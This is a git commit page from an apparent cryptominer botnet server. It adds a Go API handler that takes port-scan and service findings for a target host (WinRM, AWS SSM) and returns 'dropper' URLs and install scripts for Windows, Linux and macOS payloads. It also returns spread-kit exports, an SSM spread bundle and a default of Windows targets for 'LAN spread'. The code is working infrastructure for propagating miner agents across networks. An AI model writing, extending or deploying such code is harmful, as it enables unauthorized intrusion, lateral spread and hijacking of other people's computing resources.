Add browser deploy recon backend with port scan, web crawl, and deploy lane recommendations.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
This commit is contained in:
235
server/internal/api/recon_deploy_kit.go
Normal file
235
server/internal/api/recon_deploy_kit.go
Normal file
@@ -0,0 +1,235 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"net/http"
|
||||
"strings"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
// BindDeployPlan wires deploy-plan generation for recon deploy-kit responses.
|
||||
func (h *SpreadHandler) BindDeployPlan(plan *DeployPlanHandler, publicURL func() string, allowlist func() map[string]ServiceDeployLane) {
|
||||
if h == nil {
|
||||
return
|
||||
}
|
||||
h.deployPlan = plan
|
||||
h.publicURL = publicURL
|
||||
h.allowlistFn = allowlist
|
||||
}
|
||||
|
||||
type deployKitDropperURLs struct {
|
||||
GetWindows string `json:"get_windows,omitempty"`
|
||||
GetLinux string `json:"get_linux,omitempty"`
|
||||
GetDarwin string `json:"get_darwin,omitempty"`
|
||||
Get string `json:"get,omitempty"`
|
||||
InstallPS1 string `json:"install_ps1,omitempty"`
|
||||
InstallSh string `json:"install_sh,omitempty"`
|
||||
InstallCmd string `json:"install_command,omitempty"`
|
||||
}
|
||||
|
||||
type deployKitSpreadZIP struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Note string `json:"note,omitempty"`
|
||||
}
|
||||
|
||||
type deployKitSpreadTemplate struct {
|
||||
Template string `json:"template,omitempty"`
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// GET /api/v1/recon/deploy-kit?host=&finding=
|
||||
func (h *SpreadHandler) GetDeployKit(w http.ResponseWriter, r *http.Request) {
|
||||
host := strings.TrimSpace(r.URL.Query().Get("host"))
|
||||
finding := strings.TrimSpace(r.URL.Query().Get("finding"))
|
||||
if host == "" {
|
||||
http.Error(w, "host query param required", http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
serverURL := strings.TrimRight(resolveSpreadServerURL(h), "/")
|
||||
if serverURL == "" {
|
||||
serverURL = "http://127.0.0.1:8989"
|
||||
}
|
||||
|
||||
matched, lane, ok := resolveReconFinding(finding, h.serviceDeployAllowlist())
|
||||
if !ok {
|
||||
writeJSON(w, map[string]interface{}{
|
||||
"ok": false,
|
||||
"host": host,
|
||||
"finding": finding,
|
||||
"error": "no deploy lane matched finding",
|
||||
})
|
||||
return
|
||||
}
|
||||
|
||||
agentID, agentReachable, agentFound := h.matchAgentForHost(host)
|
||||
buildID, campaign := "", ""
|
||||
if h.db != nil {
|
||||
if b, err := h.db.GetLatestBuildForPlatform(platformForReconHost(host, lane.Lane)); err == nil && b != nil {
|
||||
buildID = b.ID
|
||||
}
|
||||
}
|
||||
|
||||
querySuffix, getQuerySuffix := buildQuerySuffix(buildID, campaign)
|
||||
dropper := deployKitDropperURLs{
|
||||
Get: serverURL + "/get" + querySuffix,
|
||||
GetWindows: serverURL + "/get?os=windows" + getQuerySuffix,
|
||||
GetLinux: serverURL + "/get?os=linux" + getQuerySuffix,
|
||||
GetDarwin: serverURL + "/get?os=darwin" + getQuerySuffix,
|
||||
InstallPS1: serverURL + "/install.ps1" + querySuffix,
|
||||
InstallSh: serverURL + "/install.sh" + querySuffix,
|
||||
InstallCmd: serverURL + "/install.command" + querySuffix,
|
||||
}
|
||||
|
||||
resp := map[string]interface{}{
|
||||
"ok": true,
|
||||
"host": host,
|
||||
"finding": finding,
|
||||
"join_lane": lane.Lane,
|
||||
"matched_service": matched,
|
||||
"agent_reachable": agentReachable,
|
||||
"agent_found": agentFound,
|
||||
"dropper_urls": dropper,
|
||||
"spread_kit_zip": deployKitSpreadZIP{
|
||||
Method: "POST",
|
||||
URL: "/api/v1/builder/spread-kit-export",
|
||||
Note: "Body: { server_url, build_id?, campaign? }",
|
||||
},
|
||||
"crucible_link": "/crucible?reconHost=" + urlQueryEscape(host) + "&tab=spread",
|
||||
}
|
||||
if agentID != "" {
|
||||
resp["agent_id"] = agentID
|
||||
}
|
||||
if tpl := strings.TrimSpace(lane.Template); tpl != "" {
|
||||
resp["spread_template"] = deployKitSpreadTemplate{
|
||||
Template: tpl,
|
||||
Method: "POST",
|
||||
URL: "/api/v1/builder/spread-template-export",
|
||||
}
|
||||
}
|
||||
|
||||
if h.deployPlan != nil {
|
||||
req := deployPlanRequest{
|
||||
BuildID: buildID,
|
||||
Campaign: campaign,
|
||||
Platform: platformForReconHost(host, lane.Lane),
|
||||
Services: []DeployServiceFinding{{Name: matched, Status: "running"}},
|
||||
}
|
||||
if plan, err := h.deployPlan.buildPlan(req, matched, lane); err == nil {
|
||||
resp["deploy_plan_template"] = plan
|
||||
}
|
||||
}
|
||||
|
||||
if lane.Lane == "ssm_document" || strings.Contains(strings.ToLower(finding), "ssm") {
|
||||
if h.deployPlan != nil {
|
||||
if bundle, err := h.deployPlan.buildSSMSpreadBundle(deployPlanRequest{
|
||||
BuildID: buildID, Campaign: campaign, Platform: "linux",
|
||||
}, serverURL); err == nil {
|
||||
resp["ssm_bundle"] = bundle
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
writeJSON(w, resp)
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) serviceDeployAllowlist() map[string]ServiceDeployLane {
|
||||
if h.allowlistFn != nil {
|
||||
return NormalizeServiceDeployAllowlist(h.allowlistFn())
|
||||
}
|
||||
return NormalizeServiceDeployAllowlist(nil)
|
||||
}
|
||||
|
||||
func resolveSpreadServerURL(h *SpreadHandler) string {
|
||||
if h.publicURL != nil {
|
||||
return h.publicURL()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func resolveReconFinding(finding string, allowlist map[string]ServiceDeployLane) (matched string, lane ServiceDeployLane, ok bool) {
|
||||
finding = strings.TrimSpace(finding)
|
||||
allowlist = NormalizeServiceDeployAllowlist(allowlist)
|
||||
|
||||
if finding == "" {
|
||||
return "default", ServiceDeployLane{Lane: "bits_curl", Priority: 8}, true
|
||||
}
|
||||
|
||||
lower := strings.ToLower(finding)
|
||||
if strings.Contains(lower, "ssm") {
|
||||
return "SSM", ServiceDeployLane{Lane: "ssm_document"}, true
|
||||
}
|
||||
|
||||
normalized := normalizeJoinLane(finding)
|
||||
for _, entry := range allowlist {
|
||||
if entry.Lane == normalized {
|
||||
return finding, entry, true
|
||||
}
|
||||
}
|
||||
if normalized != "" && normalized != finding {
|
||||
return finding, ServiceDeployLane{Lane: normalized}, true
|
||||
}
|
||||
|
||||
matched, lane, ok = PickDeployLane([]DeployServiceFinding{
|
||||
{Name: finding, Status: "running"},
|
||||
}, allowlist)
|
||||
if ok {
|
||||
return matched, lane, true
|
||||
}
|
||||
|
||||
// Case-insensitive service alias (e.g. winrm → WinRM)
|
||||
for name, entry := range allowlist {
|
||||
if strings.EqualFold(name, finding) {
|
||||
return name, entry, true
|
||||
}
|
||||
}
|
||||
return "", ServiceDeployLane{}, false
|
||||
}
|
||||
|
||||
func (h *SpreadHandler) matchAgentForHost(host string) (agentID string, reachable bool, found bool) {
|
||||
host = strings.TrimSpace(strings.ToLower(host))
|
||||
if host == "" || h.db == nil {
|
||||
return "", false, false
|
||||
}
|
||||
agents, err := h.db.ListAgents()
|
||||
if err != nil {
|
||||
return "", false, false
|
||||
}
|
||||
var match *models.Agent
|
||||
for _, ag := range agents {
|
||||
if ag == nil {
|
||||
continue
|
||||
}
|
||||
ip := strings.TrimSpace(strings.ToLower(ag.IP))
|
||||
name := strings.TrimSpace(strings.ToLower(ag.Name))
|
||||
hostname := strings.TrimSpace(strings.ToLower(ag.Hostname))
|
||||
if ip == host || name == host || hostname == host {
|
||||
if match == nil || ag.Status == "online" {
|
||||
match = ag
|
||||
}
|
||||
}
|
||||
}
|
||||
if match == nil {
|
||||
return "", false, false
|
||||
}
|
||||
reachable = match.Status == "online"
|
||||
if h.wsHub != nil {
|
||||
reachable = h.wsHub.isAgentConnected(match.ID)
|
||||
}
|
||||
return match.ID, reachable, true
|
||||
}
|
||||
|
||||
func platformForReconHost(host, lane string) string {
|
||||
if strings.Contains(lane, "linux") {
|
||||
return "linux"
|
||||
}
|
||||
// Heuristic: RFC1918 host with no agent — default windows for LAN spread.
|
||||
_ = host
|
||||
return "windows"
|
||||
}
|
||||
|
||||
func urlQueryEscape(s string) string {
|
||||
return strings.ReplaceAll(strings.ReplaceAll(s, " ", "%20"), "#", "%23")
|
||||
}
|
||||
Reference in New Issue
Block a user